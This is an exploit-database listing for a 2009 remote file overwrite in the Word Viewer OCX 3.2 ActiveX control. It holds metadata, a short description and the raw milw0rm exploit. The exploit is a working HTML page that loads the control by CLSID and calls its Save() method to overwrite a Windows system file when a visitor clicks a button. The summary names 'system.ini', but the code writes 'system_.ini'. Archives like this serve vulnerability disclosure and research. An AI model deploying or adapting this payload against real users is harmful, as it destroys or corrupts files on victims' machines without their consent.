header-logo
Suggest Exploit
vendor:
Word Viewer OCX
by:
Houssamix
7.5
CVSS
HIGH
Remote File Overwrite
264
CWE
Product Name: Word Viewer OCX
Affected Version From: Word Viewer OCX V 3.2
Affected Version To: Word Viewer OCX V 3.2
Patch Exists: NO
Related CWE: N/A
CPE: ocx:word_viewer_ocx_v_3.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP Professional SP2
2009

Word viewer OCX V 3.2 Remote File Overwrite exploit

This exploit allows an attacker to overwrite a file on the victim's system. The exploit uses a malicious HTML page containing a malicious object tag with a CLSID of {97AF4A45-49BE-4485-9F55-91AB40F22BF2}. When the malicious page is opened, the malicious object tag calls the Save() method of the Word Viewer OCX, which allows the attacker to overwrite a file on the victim's system. The malicious page contains a JavaScript function that calls the Save() method with a file path of c:windowssystem_.ini, which will overwrite the system.ini file on the victim's system.

Mitigation:

The user should not open any suspicious HTML pages or click on any malicious links.
Source

Exploit-DB raw data:

=======================================================================================<br>
Author: Houssamix									   <br>
=======================================================================================<br>

 Word viewer OCX V 3.2 Remote File Overwrite exploit				<br>
 Download : http://www.officeocx.com/download/WordOCXSetup3.2.exe		 <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6	<br>


=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22BF2}"></object>

<SCRIPT>

function Do_it()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================<br>

This was written for educational purpose. Use it at your own risk.<br>
Author will be not responsible for any damage.<br>

# milw0rm.com [2009-01-13]